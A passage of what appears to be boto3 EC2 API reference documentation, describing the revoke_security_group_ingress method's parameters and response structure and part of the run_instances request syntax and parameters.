spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **Ipv6Ranges** _(list) --_ + + \[VPC only\] The IPv6 ranges. + + * _(dict) --_ + + \[EC2-VPC only\] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **PrefixListIds** _(list) --_ + + \[VPC only\] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of \-1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + \[EC2-Classic\] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +revoke\_security\_group\_ingress(_\*\*kwargs_) + +Removes the specified ingress rules from a security group. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +\[EC2-Classic , default VPC\] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupIngress) + +**Request Syntax** + +response \= client.revoke\_security\_group\_ingress( + CidrIp\='string', + FromPort\=123, + GroupId\='string', + GroupName\='string', + IpPermissions\=\[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': \[ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + \], + 'Ipv6Ranges': \[ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + \], + 'PrefixListIds': \[ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + \], + 'ToPort': 123, + 'UserIdGroupPairs': \[ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + \] + }, + \], + IpProtocol\='string', + SourceSecurityGroupName\='string', + SourceSecurityGroupOwnerId\='string', + ToPort\=123, + DryRun\=True|False +) + +Parameters + +* **CidrIp** (_string_) -- The CIDR IP address range. You can't specify this parameter when specifying a source security group. +* **FromPort** (_integer_) -- The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use \-1 to specify all ICMP types. +* **GroupId** (_string_) -- The ID of the security group. You must specify either the security group ID or the security group name in the request. For security groups in a nondefault VPC, you must specify the security group ID. +* **GroupName** (_string_) -- \[EC2-Classic, default VPC\] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a source security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of \-1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + \[VPC only\] Use \-1 to specify all protocols. When authorizing security group rules, specifying \-1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **Ipv6Ranges** _(list) --_ + + \[VPC only\] The IPv6 ranges. + + * _(dict) --_ + + \[EC2-VPC only\] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **PrefixListIds** _(list) --_ + + \[VPC only\] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of \-1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + \[EC2-Classic\] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). Use \-1 to specify all. +* **SourceSecurityGroupName** (_string_) -- \[EC2-Classic, default VPC\] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. For EC2-VPC, the source security group must be in the same VPC. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **SourceSecurityGroupOwnerId** (_string_) -- \[EC2-Classic\] The AWS account ID of the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use \-1 to specify all ICMP codes for the ICMP type. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': \[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': \[ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + \], + 'Ipv6Ranges': \[ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + \], + 'PrefixListIds': \[ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + \], + 'ToPort': 123, + 'UserIdGroupPairs': \[ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + \] + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The inbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of \-1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + \[VPC only\] Use \-1 to specify all protocols. When authorizing security group rules, specifying \-1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **Ipv6Ranges** _(list) --_ + + \[VPC only\] The IPv6 ranges. + + * _(dict) --_ + + \[EC2-VPC only\] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **PrefixListIds** _(list) --_ + + \[VPC only\] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of \-1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + \[EC2-Classic\] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +run\_instances(_\*\*kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +* \[EC2-VPC\] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +* \[EC2-Classic\] If don't specify an Availability Zone, we choose one for you. +* Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +* \[EC2-VPC\] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +* Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +* If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +* If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunInstances) + +**Request Syntax** + +response \= client.run\_instances( + BlockDeviceMappings\=\[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + \], + ImageId\='string', + InstanceType\='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount\=123, + Ipv6Addresses\=\[ + { + 'Ipv6Address': 'string' + }, + \], + KernelId\='string', + KeyName\='string', + MaxCount\=123, + MinCount\=123, + Monitoring\={ + 'Enabled': True|False + }, + Placement\={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId\='string', + SecurityGroupIds\=\[ + 'string', + \], + SecurityGroups\=\[ + 'string', + \], + SubnetId\='string', + UserData\='string', + AdditionalInfo\='string', + ClientToken\='string', + DisableApiTermination\=True|False, + DryRun\=True|False, + EbsOptimized\=True|False, + IamInstanceProfile\={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior\='stop'|'terminate', + NetworkInterfaces\=\[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': \[ + 'string', + \], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': \[ + { + 'Ipv6Address': 'string' + }, + \], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': \[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + \], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + \], + PrivateIpAddress\='string', + ElasticGpuSpecification\=\[ + { + 'Type': 'string' + }, + \], + ElasticInferenceAccelerators\=\[ + { + 'Type': 'string', + 'Count': 123 + }, + \], + TagSpecifications\=\[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \] + }, + \], + LaunchTemplate\={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions\={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification\={ + 'CpuCredits': 'string' + }, + CpuOptions\={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification\={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions\={ + 'Configured': True|False + }, + LicenseSpecifications\=\[ + { + 'LicenseConfigurationArn': 'string' + }, + \], + MetadataOptions\={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions\={ + 'Enabled': True|False + } +) + +Parameters + +* **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 